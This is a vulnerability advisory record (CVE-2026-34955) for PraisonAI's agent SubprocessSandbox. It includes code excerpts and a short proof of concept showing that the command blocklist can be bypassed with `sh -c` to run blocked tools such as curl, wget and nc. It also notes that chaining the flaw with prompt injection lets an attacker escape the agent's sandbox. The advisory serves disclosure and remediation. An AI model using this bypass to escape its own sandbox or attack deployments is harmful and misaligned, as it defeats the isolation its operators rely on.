{"id":"CVE-2026-34955","aliases":["GHSA-r4f2-3m54-pp7q","PYSEC-2026-2921"],"title":"PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox","summary":"PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox","severity":"high","cvss":8.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.5.97"],"patched":["praisonai 4.5.97"],"published":"2026-04-01","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-r4f2-3m54-pp7q","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34955"},{"url":"https://github.com/MervinPraison/PraisonAI"}],"tags":["osv","pip"],"epss":0.00383,"epssPercentile":0.32258,"ingestedAt":"2026-07-13T18:58:02.442Z","slug":"CVE-2026-34955","body":"## Overview\n\n### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands:  # sh, bash not blocked\n    raise SecurityError(...)\ndangerous_patterns = [\n    (\"| sh\",   ...),   # requires space -- \"id|bash\" evades this\n    (\"| bash\", ...),   # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n    command,\n    shell=True,\n    ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c 'id'\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n    shlex.split(command),\n    shell=False,\n    cwd=cwd,\n    env=env,\n    capture_output=capture_output,\n    text=True,\n    timeout=timeout\n)\n```\n\n## Affected packages\n\n- `praisonai < 4.5.97`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.5.97`","depth":"twilight","depthScore":48,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}